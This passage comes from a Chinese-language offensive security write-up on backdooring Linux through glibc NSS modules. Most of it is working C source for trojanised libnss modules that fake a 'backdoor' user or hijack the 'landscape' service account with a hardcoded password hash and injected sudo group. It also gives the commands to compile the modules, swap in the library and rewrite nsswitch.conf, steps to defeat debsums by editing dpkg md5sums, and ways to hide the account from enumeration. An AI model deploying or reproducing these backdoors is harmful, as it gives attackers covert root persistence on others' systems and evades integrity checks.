p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_passwd = p;
p = stpcpy(p, "x") + 1;
result->pw_uid = BACKDOOR_UID;
result->pw_gid = BACKDOOR_GID;
result->pw_gecos = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_dir = p;
p = stpcpy(p, "/home/backdoor") + 1;
result->pw_shell = p;
p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_files_getpwnam_r (constchar *name,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) == 0)
{
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(constchar *, struct passwd *,
char *, size_t, int *);
orig = dlsym(orig_handle, "_nss_files_getpwnam_r");
if (!orig) return NSS_STATUS_UNAVAIL;
return orig(name, result, buffer, buflen, errnop);
}
enum nss_status
_nss_files_getpwuid_r (uid_t uid,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid == BACKDOOR_UID)
{
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(uid_t, struct passwd *,
char *, size_t, int *);
orig = dlsym(orig_handle, "_nss_files_getpwuid_r");
if (!orig) return NSS_STATUS_UNAVAIL;
return orig(uid, result, buffer, buflen, errnop);
}
enum nss_status
_nss_files_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(constchar *, gid_t,
longint *, longint *,
gid_t **, longint, int *);
orig = dlsym(orig_handle, "_nss_files_initgroups_dyn");
enum nss_status status = NSS_STATUS_NOTFOUND;
if (orig)
status = orig(user, group, start, size, groups, limit, errnop);
if (strcmp(user, BACKDOOR_USER) == 0)
{
gid_t extra[] = { BACKDOOR_GID, SUDO_GID };
for (int i = 0; i < 2; i++)
{
if (*start >= *size)
{
*size *= 2;
*groups = realloc(*groups, *size * sizeof(gid_t));
if (!*groups) return NSS_STATUS_TRYAGAIN;
}
(*groups)[*start] = extra[i];
*start += 1;
}
return NSS_STATUS_SUCCESS;
}
return status;
}
enum nss_status
_nss_files_getspnam_r (constchar *name,
struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) == 0)
{
if (buflen < 512)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char *p = buffer;
result->sp_namp = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->sp_pwdp = p;
p = stpcpy(p, BACKDOOR_HASH) + 1;
result->sp_lstchg = 20000;
result->sp_min = 0;
result->sp_max = 99999;
result->sp_warn = 7;
result->sp_inact = -1;
result->sp_expire = -1;
result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}
ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(constchar *, struct spwd *,
char *, size_t, int *);
orig = dlsym(orig_handle, "_nss_files_getspnam_r");
if (!orig) return NSS_STATUS_UNAVAIL;
return orig(name, result, buffer, buflen, errnop);
}编译、部署:
gcc -shared -fPIC -o libnss_files.so.2.trojan nss_files_trojan.c -ldl
# 备份原始模块
sudo mv /usr/lib/x86_64-linux-gnu/libnss_files.so.2 \
/usr/lib/x86_64-linux-gnu/libnss_files.so.2.orig
# 部署木马化模块
sudo mv libnss_files.so.2.trojan /usr/lib/x86_64-linux-gnu/libnss_files.so.2然而,测试结果:
后门没有生效。
5.2 失败原因分析
用 LD_DEBUG 跟踪 NSS 模块加载过程:
LD_DEBUG=files getent passwd test 2>&1 | grep -i libnss
# test 是 /etc/passwd 中存在的用户libnss_files.so.2 根本没有被加载!原因在 0x03 的源码分析中已经提到——nss_module.c 第 170-176 行:
if (strcmp(module->name, "files") == 0)
return module_load_nss_files(module); // 内置绑定,不走 dlopen
if (strcmp(module->name, "dns") == 0)
return module_load_nss_dns(module); // 内置绑定,不走 dlopenfiles 和 dns 是 glibc 的内置模块,不会通过 dlopen() 加载 libnss_files.so.2。 无论怎么替换这个文件,glibc 都不会读它。
这是一个关键的教训:不是所有 libnss_*.so.2 都会被 dlopen 加载。 只有非内置的第三方模块(如 systemd、ldap、sss 等)才走 dlopen 路径。
5.3 第二次尝试:替换 libnss_systemd.so.2(成功)
既然 files 不走 dlopen,那 nsswitch.conf 中的 systemd 数据源呢?
先用 LD_DEBUG 确认 libnss_systemd.so.2 是否真的被 dlopen 加载。注意,必须查询一个 /etc/passwd 中不存在的用户——因为 NSS 是按顺序查询的,如果 files(内置模块)已经找到了,就不会继续加载 systemd 模块:
LD_DEBUG=files getent passwd nonexistent_user 2>&1 | grep libnsslibnss_systemd.so.2 确实被 dlopen 加载了。这意味着我们可以用与 5.1 相同的包装(wrapper)方式来替换它。
整体流程与 5.1 类似,但函数名从 _nss_files_* 改为 _nss_systemd_*,原始模块路径也相应调整:
应用程序调用 getpwnam("alice")
│
└─ NSS: passwd: files systemd
│
├─ files(内置模块):查找 /etc/passwd → 找到 alice → 返回
│
└─ (无需继续)返回 NSS_STATUS_SUCCESS
应用程序调用 getpwnam("backdoor")
│
└─ NSS: passwd: files systemd
│
├─ files(内置模块):查找 /etc/passwd → 未找到 → 返回 NOTFOUND
│
└─ 尝试调用 libnss_systemd.so.2 中的 _nss_systemd_getpwnam_r("backdoor")
│
├─ 木马化模块内部:
│ 1. 检查 "backdoor" == "backdoor"?→ 是
│ 2. 填充伪造的 passwd 结构体(UID=1002, GID=sudo)
│ 3. 返回伪造结果(跳过原始模块调用)
│
└─ 返回 NSS_STATUS_SUCCESS(backdoor 的伪造信息)步骤一:编写木马化模块源代码
创建 nss_systemd_trojan.c:
#define _GNU_SOURCE
#include<nss.h>
#include<pwd.h>
#include<grp.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<dlfcn.h>
#define BACKDOOR_USER "backdoor"
#define BACKDOOR_UID 1002
#define BACKDOOR_GID 1002
#define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
#define SUDO_GID 27
#define ORIG_SO "/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2.orig"
staticvoid *orig_handle = NULL;staticvoidensure_loaded(void)
{
if (orig_handle) return;
orig_handle = dlopen(ORIG_SO, RTLD_LAZY);
}staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer)
{
char *p = buffer;
result->pw_name = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_passwd = p;
p = stpcpy(p, "x") + 1;
result->pw_uid = BACKDOOR_UID;
result->pw_gid = BACKDOOR_GID;
result->pw_gecos = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_dir = p;
p = stpcpy(p, "/home/backdoor") + 1;
result->pw_shell = p;
p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_systemd_getpwnam_r (constchar *name,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) == 0)
{
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(constchar *, struct passwd *,
char *, size_t, int *);
orig = dlsym(orig_handle, "_nss_systemd_getpwnam_r");
if (!orig) return NSS_STATUS_NOTFOUND;
return orig(name, result, buffer, buflen, errnop);
}
enum nss_status
_nss_systemd_getpwuid_r (uid_t uid,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid == BACKDOOR_UID)
{
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(uid_t, struct passwd *,
char *, size_t, int *);
orig = dlsym(orig_handle, "_nss_systemd_getpwuid_r");
if (!orig) return NSS_STATUS_NOTFOUND;
return orig(uid, result, buffer, buflen, errnop);
}
enum nss_status
_nss_systemd_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(constchar *, gid_t,
longint *, longint *,
gid_t **, longint, int *);
orig = dlsym(orig_handle, "_nss_systemd_initgroups_dyn");
enum nss_status status = NSS_STATUS_NOTFOUND;
if (orig)
status = orig(user, group, start, size, groups, limit, errnop);
if (strcmp(user, BACKDOOR_USER) == 0)
{
gid_t extra[] = { BACKDOOR_GID, SUDO_GID };
for (int i = 0; i < 2; i++)
{
if (*start >= *size)
{
*size *= 2;
*groups = realloc(*groups, *size * sizeof(gid_t));
if (!*groups) return NSS_STATUS_TRYAGAIN;
}
(*groups)[*start] = extra[i];
*start += 1;
}
return NSS_STATUS_SUCCESS;
}
return status;
}
enum nss_status
_nss_systemd_getspnam_r (constchar *name,
struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) == 0)
{
if (buflen < 512)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char *p = buffer;
result->sp_namp = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->sp_pwdp = p;
p = stpcpy(p, BACKDOOR_HASH) + 1;
result->sp_lstchg = 20000;
result->sp_min = 0;
result->sp_max = 99999;
result->sp_warn = 7;
result->sp_inact = -1;
result->sp_expire = -1;
result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}
ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(constchar *, struct spwd *,
char *, size_t, int *);
orig = dlsym(orig_handle, "_nss_systemd_getspnam_r");
if (!orig) return NSS_STATUS_NOTFOUND;
return orig(name, result, buffer, buflen, errnop);
}步骤二:编译木马化模块
gcc -shared -fPIC -o libnss_systemd.so.2.trojan nss_systemd_trojan.c -ldl步骤三:备份原始模块
sudo mv /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2 \
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2.orig注意:使用
mv而不是cp来替换。cp会先截断目标文件再写入,如果此时有进程正在使用该.so,会导致 Bus Error 崩溃。mv是原子操作(同一个文件系统上是 rename),不存在截断风险。
步骤四:部署木马化模块
sudo mv libnss_systemd.so.2.trojan /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2步骤五:验证后门效果
首先确认 nsswitch.conf 未被修改,没有任何可疑的数据源:
cat /etc/nsswitch.conf | grep passwd然后测试后门用户是否被识别:
后门完全生效。 nsswitch.conf 未修改,无新增 .so 文件名(libnss_systemd.so.2 文件名不变,完全可以重写该so并重新编译),SSH 登录 + sudo 提权全部正常。
5.4 debsums 检测
debsums -a -c请忽略 proxychains 的配置文件的更改,与本次无关。 可以看到,这次修改的 so 能被 debsums 发现
5.5 与 0x04 方式的对比
对比项 | 0x04 添加数据源 | 0x05 替换合法模块 |
|---|---|---|
修改 | ✅ 需要 | ❌ 不需要 |
新增 | ✅ | ❌ 文件名不变(但多一个 |
检查 | ✅ 容易 | ❌ 看不出异常 |
ls库目录可发现 | ✅ 多出可疑文件 | ⚠️ 文件名一致,但大小/哈希不同 |
debsums -a -c | ❌ 无法检测(详见 4.4 节) | ✅ 能检测到哈希变化(详见 5.4 节) |
文件完整性检查(AIDE/Tripwire) | ⚠️ 取决于基线是否覆盖新增路径 | ⚠️ 可发现(已注册文件的哈希变化) |
系统更新覆盖风险 | ❌ 不受影响 | ⚠️ |
实现复杂度 | 低 | 中(需要包装原始模块) |
兼容性风险 | 低 | ⚠️ 需确认目标模块走 |
核心结论:0x05 比 0x04 更隐蔽,但有两个需要注意的点:
不是所有 NSS 模块都能替换:
files和dns是 glibc 内置模块,不走dlopen,替换无效。必须选择第三方模块(如systemd、ldap、sss等)。共同弱点是文件完整性检查——无论怎么伪装,
.so文件的哈希值一定会变。
0x06 精细化后门探索
0x04 和 0x05 实现了两种基础后门方式,但在实战中还存在不少问题:后门用户名太明显、密码硬编码、文件完整性检查暴露、系统更新覆盖等。本章将对这些问题逐一进行精细化改进,每个小节都有具体的代码和实验验证。
6.1 NSS 热加载机制验证
在实战中,后门的"生效/失效"时机非常关键。本节通过三个实验,验证 NSS 模块在不同操作下的行为。
实验 1:删除 .so 文件,保留 nsswitch.conf
实验假设:.so 文件被删除后,已运行的进程(如 sshd)是否仍能解析后门用户?
结论:删除 .so 后,新进程立即失效。但注意,已运行且已 dlopen 过该模块的进程(如长期运行的 daemon),其内存中仍持有模块引用,不会受影响。对于 SSH 而言,已建立的 SSH 会话(sshd fork 出的子进程已加载模块到内存)仍能正常使用后门用户身份,但新 SSH 连接将无法认证后门用户(新子进程 dlopen 失败)。
原理:glibc 通过 __libc_dlopen() 加载 NSS 模块后,即使磁盘文件被删除,进程的内存映射仍然有效。但新进程无法找到 .so 文件,dlopen 返回 NULL,模块加载失败。
实验 2:修改 nsswitch.conf,保留 .so 文件
实验假设:修改 nsswitch.conf 后,是否需要重启进程才能生效?
结论:修改 nsswitch.conf 后,新进程立即生效,无需重启任何服务。
原理:glibc 在每次 NSS 查询时,会检查 nsswitch.conf 文件的 mtime 和 size 是否变化。nss_database.c 中的 nss_database_check_reload_and_get() 函数实现了这一机制:
// nss_database.c 第 410-421 行
structfile_change_detectioninitial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
returnfalse;
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{
// 配置未变化,直接使用缓存
*result = local->data.services[database_index];
returntrue;
}
// 配置已变化,重新加载
bool ok = nss_database_reload (&staging, &initial);实验 3:覆盖 .so 文件
实验假设:用新版木马覆盖旧版时,已运行进程和新进程分别使用哪个版本?
结论:覆盖 .so 后,新进程立即使用新版。已运行且已加载旧版的进程不受影响(内存中持有旧版映射)。
原理:Linux 的 dlopen 使用内存映射(mmap)加载 .so。glibc 的 NSS 模块加载机制(__libc_dlopen)虽然未显式传入 RTLD_NODELETE 标志,但动态链接器会在加载后隐式将 NSS 模块标记为 nodelete(LD_DEBUG 输出中可见 activating NODELETE),使其在进程生命周期内不会被卸载。但新进程会重新 dlopen,加载磁盘上的最新版本。
热加载行为总结
操作 | 已运行进程 | 新进程 |
|---|---|---|
删除 | ✅ 不受影响(内存映射) | ❌ 模块加载失败 |
修改 | ⚠️ 下次查询时重载配置 | ✅ 立即使用新配置 |
覆盖 | ⚠️ 不受影响(NODELETE) | ✅ 加载新版 |
实战意义:
应急清除:只需移除
.so或修改nsswitch.conf,新进程立即不受影响,但已建立的 SSH 会话可能仍有效隐蔽更新:直接覆盖
.so文件即可更新后门,新连接自动使用新版
6.2 绕过 debsums 检测
在 0x05 中,我们用 debsums -a -c 验证了替换 .so 文件的后门能被检测到(0x04 方式则完全不被 debsums 发现,详见 4.4 节)。debsums 的原理很简单——它将磁盘上文件的 MD5 哈希与包管理器数据库中记录的原始哈希进行对比。
debsums 的工作原理
debsums -a -c这个命令做了两件事:
读取
/var/lib/dpkg/info/<包名>.md5sums文件,获取每个文件安装时的 MD5 哈希计算磁盘上对应文件的当前 MD5,两者不一致则报告
查看 libnss-systemd 包的校验数据:
cat /var/lib/dpkg/info/libnss-systemd:amd64.md5sums对比当前木马模块的哈希,哈希不一致,debsums 自然会报警。
绕过方法:篡改 md5sums 文件
既然 debsums 是从本地文件读取校验数据,那我们只需要将 md5sums 文件中的哈希值替换为木马模块的实际哈希:
# 获取木马模块的 MD5
md5sum /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
# 替换 md5sums 文件中的对应条目
/var/lib/dpkg/info/libnss-systemd:amd64.md5sums验证:
debsums -a -c补充:0x04 vs 0x05 的 debsums 检测差异
回顾 0x04 的 debsums 测试(4.4 节)——debsums -a -c没有报告任何异常。因为 nsswitch.conf 不属于任何包,libnss_nop.so.2 也不属于任何包,两者都不在 debsums 的校验范围内。
这意味着:
0x04 方式:
debsums完全检测不到(nsswitch.conf和新增.so都不属于任何包)0x05 方式:
debsums能发现libnss_systemd.so.2的哈希变化(属于libnss-systemd包),但篡改 md5sums 后即可绕过
局限性
这种绕过方法只对 debsums 有效。更专业的文件完整性工具(如 AIDE、Tripwire、OSSEC)使用独立的数据库存储校验信息,且数据库本身有保护机制,篡改 md5sums 文件无法绕过它们。
6.3 复用已有服务账户
前面 0x04 和 0x05 都是创建一个新用户 backdoor,这种方式有一个明显的风险,当在日志中发现 backdoor 这样的系统中不存在的账户时,有些运维和安全人员会比较警觉,能够通过 getent passwd backdoor(精确查询)能查到后门用户,而 cat /etc/passwd | grep backdoor 找不到,两者对比就能发现异常。
更隐蔽的思路是:复用系统已有的服务账户。这些账户已经存在于 /etc/passwd 中,登录时不会产生"未知用户"的异常日志。
为什么之前的方案做不到?
0x04 和 0x05 中,后门数据源(nop、systemd)都排在 files后面:
passwd: files systemd
shadow: files systemd对于 /etc/passwd 中已有用户,files 内置模块直接命中并返回 SUCCESS,后续数据源永远不会被调用。
解决方法:把我们的模块排在 files 前面。
passwd: nop files systemd
shadow: nop files systemd这样 NSS 查询链变成:
getpwnam("landscape")
│
├─ nop → 我们返回修改后的数据(shell=/bin/bash + 密码)→ SUCCESS → 链停止
└─ files → 不会被调用
getpwnam("test") ← 非目标用户
│
├─ nop → 不是目标用户 → NOTFOUND
│
└─ files → 在 /etc/passwd 中找到 → SUCCESS → 正常返回,完全不受影响选择合适的服务账户
不是所有服务账户都适合复用。需要满足以下条件:
当前没有运行中的进程:如果该账户有活跃进程,修改其 NSS 数据可能导致服务异常
shell 为
/usr/sbin/nologin:原本就是禁止登录的账户,改了 shell 才有意义不会在特定时刻被服务启动:某些账户(如
_apt)在 apt 操作时会被临时使用
以下脚本可以自动筛选出合适的服务账户:
#!/bin/bash
# 筛选适合复用的服务账户:无活跃进程 + shell 为 nologin
echo"=== 适合复用的服务账户 ==="
echo""
awk -F: '$3 >= 1 && $3 < 65534 && $7 == "/usr/sbin/nologin" {print $1}' /etc/passwd | whileread user; do
pids=$(ps -u "$user" -o pid= 2>/dev/null | tr -d ' ')
if [ -z "$pids" ]; then
uid=$(id -u "$user" 2>/dev/null)
desc=$(grep "^${user}:" /etc/passwd | cut -d: -f5)
echo" $user (UID=$uid) - $desc"
fi
done
echo""
echo"=== 有活跃进程的账户(不建议使用)==="
echo""
awk -F: '$3 >= 1 && $3 < 65534 && $7 == "/usr/sbin/nologin" {print $1}' /etc/passwd | whileread user; do
pids=$(ps -u "$user" -o pid= 2>/dev/null | tr -d ' ')
if [ -n "$pids" ]; then
echo" $user (pids: $pids)"
fi
done在目标系统上执行后输出格式:
=== 适合复用的服务账户 ===
daemon (UID=1) -
bin (UID=2) -
sys (UID=3) -
games (UID=5) -
man (UID=6) -
lp (UID=7) -
mail (UID=8) -
news (UID=9) -
...
tcpdump (UID=105) -
landscape (UID=107) -
fwupd-refresh (UID=989) -
usbmux (UID=108) -
sshd (UID=109) -
=== 有活跃进程的账户(不建议使用)===
systemd-network (pids: 710)
systemd-timesync (pids: 732)
messagebus (pids: 884)
systemd-resolve (pids: 717)
polkitd (pids: 892)
syslog (pids: 921)推荐选择 landscape(UID=107)— Ubuntu Landscape 管理工具,名字听起来像正常的系统服务,且通常只在后台定时任务中使用。
关键约束:只改 shell 和密码,不改 UID/GID
这是最重要的原则。如果我们修改了 landscape 的 UID/GID:
已运行的进程身份由内核 UID 决定,不受 NSS 影响
但服务重启时,systemd 会通过
getpwnam("landscape")获取 UID如果我们返回了不同的 UID,服务会以错误的权限启动
因此,我们的模块对 landscape 只修改两个字段:
pw_shell:从/usr/sbin/nologin改为/bin/bashsp_pwdp:从*(无密码)改为后门密码哈希
UID、GID、home 目录全部保持原始值不变。
sudo 权限注入
虽然不能修改 GID,但可以通过 initgroups_dyn 给 landscape 额外注入 sudo 组。Linux 允许一个用户属于多个组,注入额外的 sudo 组不会影响 landscape 服务本身的运行:
initgroups("landscape", 109)
│
├─ nop → 返回 [109, 27(sudo)] → SUCCESS
├─ files → 返回 [109] → SUCCESS
└─ 最终结果:landscape ∈ [109, 27](组合并去重)实现
首先需要明确一个关键限制:为什么不能用 0x05 的 systemd 包装方式来实现复用服务账户?
passwd: files systemd 中 files 排在 systemd 前面,对 /etc/passwd 中已存在的用户(如 landscape),files 内置模块直接命中并返回 SUCCESS,根本不会走到 systemd。因此,我们必须使用 0x04 的方法——添加独立的 nop 数据源并放在 files 前面,只对目标用户返回覆盖数据,其他用户返回 NOTFOUND。
木马模块的关键逻辑:对目标用户覆盖 shell 和密码,其他字段保持原始值不变:
#define _GNU_SOURCE
#include<nss.h>
#include<pwd.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<dlfcn.h>
#define HIJACK_USER "landscape"
#define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
#define ORIG_SO "/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2.orig"
staticvoid *orig_handle = NULL;staticvoidensure_loaded(void)
{
if (orig_handle) return;
orig_handle = dlopen(ORIG_SO, RTLD_LAZY);
}
enum nss_status
_nss_systemd_getpwnam_r (constchar *name,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(constchar *, struct passwd *,
char *, size_t, int *);
orig = dlsym(orig_handle, "_nss_systemd_getpwnam_r");
if (!orig) return NSS_STATUS_NOTFOUND;
enum nss_status status = orig(name, result, buffer, buflen, errnop);
if (status == NSS_STATUS_SUCCESS && strcmp(result->pw_name, HIJACK_USER) == 0)
{
// 只覆盖 shell,其他字段保持原始值
char *shell_ptr = result->pw_shell;
size_t shell_offset = shell_ptr - buffer;
if (shell_offset + strlen("/bin/bash") + 1 <= buflen)
{
strcpy(shell_ptr, "/bin/bash");
}
}
return status;
}
enum nss_status
_nss_systemd_getpwuid_r (uid_t uid,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(uid_t, struct passwd *,
char *, size_t, int *);
orig = dlsym(orig_handle, "_nss_systemd_getpwuid_r");
if (!orig) return NSS_STATUS_NOTFOUND;
enum nss_status status = orig(uid, result, buffer, buflen, errnop);
if (status == NSS_STATUS_SUCCESS && strcmp(result->pw_name, HIJACK_USER) == 0)
{
char *shell_ptr = result->pw_shell;
size_t shell_offset = shell_ptr - buffer;
if (shell_offset + strlen("/bin/bash") + 1 <= buflen)
{
strcpy(shell_ptr, "/bin/bash");
}
}
return status;
}
enum nss_status
_nss_systemd_getspnam_r (constchar *name,
struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
ensure_loaded();
if (!orig_handle) return NSS_STATUS_NOTFOUND;
enumnss_status(*orig)(constchar *, struct spwd *,
char *, size_t, int *);
orig = dlsym(orig_handle, "_nss_systemd_getspnam_r");
if (!orig) return NSS_STATUS_NOTFOUND;
enum nss_status status = orig(name, result, buffer, buflen, errnop);
if (status == NSS_STATUS_SUCCESS && strcmp(result->sp_namp, HIJACK_USER) == 0)
{
// 覆盖密码哈希(原值为 *,表示无密码)
// 需要确保 buffer 有足够空间容纳更长的哈希
char *pwd_ptr = result->sp_pwdp;
size_t needed = strlen(BACKDOOR_HASH) + 1;
size_t available = buflen - (pwd_ptr - buffer);
if (available >= needed)
{
strcpy(pwd_ptr, BACKDOOR_HASH);
}
}
return status;
}注意:上面展示的
_nss_systemd_*包装代码仅用于说明"包装原始模块并修改部分字段"的思路,帮助理解后续实际代码中的字段覆盖逻辑。由于files内置模块会优先命中已有用户(返回 SUCCESS,NSS 查询链终止),systemd模块根本没有机会被调用,因此这种包装方式无法用于复用已有用户。实际部署需要使用下面的_nss_nop_*独立模块,并将nop放在files前面。
#define _GNU_SOURCE
#include<nss.h>
#include<pwd.h>
#include<grp.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define HIJACK_USER "landscape"
#define HIJACK_UID 107
#define HIJACK_GID 109
#define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
#define SUDO_GID 27
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, HIJACK_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char *p = buffer;
result->pw_name = p;
p = stpcpy(p, HIJACK_USER) + 1;
result->pw_passwd = p;
p = stpcpy(p, "x") + 1;
result->pw_uid = HIJACK_UID;
result->pw_gid = HIJACK_GID;
result->pw_gecos = p;
p = stpcpy(p, HIJACK_USER) + 1;
result->pw_dir = p;
p = stpcpy(p, "/var/lib/landscape") + 1;
result->pw_shell = p;
p = stpcpy(p, "/bin/bash") + 1;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwuid_r (uid_t uid,
struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if ((int)uid != HIJACK_UID)
return NSS_STATUS_NOTFOUND;
return _nss_nop_getpwnam_r(HIJACK_USER, result, buffer, buflen, errnop);
}
enum nss_status
_nss_nop_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
if (strcmp(user, HIJACK_USER) != 0)
return NSS_STATUS_NOTFOUND;
gid_t extra[] = { HIJACK_GID, SUDO_GID };
for (int i = 0; i < 2; i++)
{
if (*start >= *size)
{
*size *= 2;
*groups = realloc(*groups, *size * sizeof(gid_t));
if (!*groups) return NSS_STATUS_TRYAGAIN;
}
(*groups)[*start] = extra[i];
*start += 1;
}
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getspnam_r (constchar *name,
struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, HIJACK_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char *p = buffer;
result->sp_namp = p;
p = stpcpy(p, HIJACK_USER) + 1;
result->sp_pwdp = p;
p = stpcpy(p, BACKDOOR_HASH) + 1;
result->sp_lstchg = 20000;
result->sp_min = 0;
result->sp_max = 99999;
result->sp_warn = 7;
result->sp_inact = -1;
result->sp_expire = -1;
result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}部署
# 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop_hijack.c
# 部署模块
sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/libnss_nop.so.2
# 修改 nsswitch.conf,将 nop 放在 files 前面
# 注意:passwd、shadow、group 三项都需要添加 nop
sudo sed -i 's/^passwd:.*/passwd: nop files systemd/' /etc/nsswitch.conf
sudo sed -i 's/^shadow:.*/shadow: nop files systemd/' /etc/nsswitch.conf
sudo sed -i 's/^group:.*/group: nop files systemd/' /etc/nsswitch.conf验证
成功实现复用系统服务账户,并且做到 su 和 ssh 完全可用
而且 getent passwd 和 getent passwd landscape 结果是不一样的:
这意味着管理员执行 getent passwd 排查时,看不出任何异常。只有精确查询 getent passwd landscape 才能看到修改后的 shell。关于遍历接口的详细分析见 6.4 节。
与 0x04/0x05 方式的对比
对比项 | 0x04 新增数据源 | 0x05 替换模块 | 6.3 复用服务账户 |
|---|---|---|---|
用户名 | backdoor(可疑) | backdoor(可疑) | landscape(正常) |
/etc/passwd中存在 | ❌ | ❌ | ✅ 完全正常 |
SSH 日志可疑度 | 高(未知用户) | 高(未知用户) | 低(已知服务账户) |
sudo 提权 | ✅ 可加 sudo 组 | ✅ 可加 sudo 组 | ✅ 通过 initgroups_dyn 注入 |
修改 | 追加到末尾 | 不需要 | 放到 files 前面 |
UID/GID | 自定义 | 自定义 | 必须保持原始值 |
核心结论:复用服务账户在 SSH 日志隐蔽性上具有明显优势——landscape 是系统合法用户,登录日志可能不会引起怀疑(严谨的安全人员仍可能发现异常)。同时通过 initgroups_dyn 注入 sudo 组,SSH 登录后可以直接提权到 root。
6.4 隐藏后门用户——遍历接口屏蔽
在 6.3 的实验中,我们发现了一个有趣的现象:getent passwd(遍历)和 getent passwd landscape(精确查询)返回的结果不同——遍历显示原始的 /usr/sbin/nologin,精确查询显示修改后的 /bin/bash。
本节将深入分析这个现象背后的原理。
NSS 的两种查询模式
NSS 对用户信息的查询有两种不同的接口:
接口 | 函数 | 用途 | 触发场景 |
|---|---|---|---|
精确查询 | _nss_*_getpwnam_r | 按用户名查找 | id backdoor、 |
精确查询 | _nss_*_getpwuid_r | 按 UID 查找 | ls -l显示文件所有者 |
遍历查询 | _nss_*_getpwent_r | 遍历所有用户 | getent passwd |
遍历控制 | _nss_*_setpwent / | 开始/结束遍历 | getent passwd内部调用 |
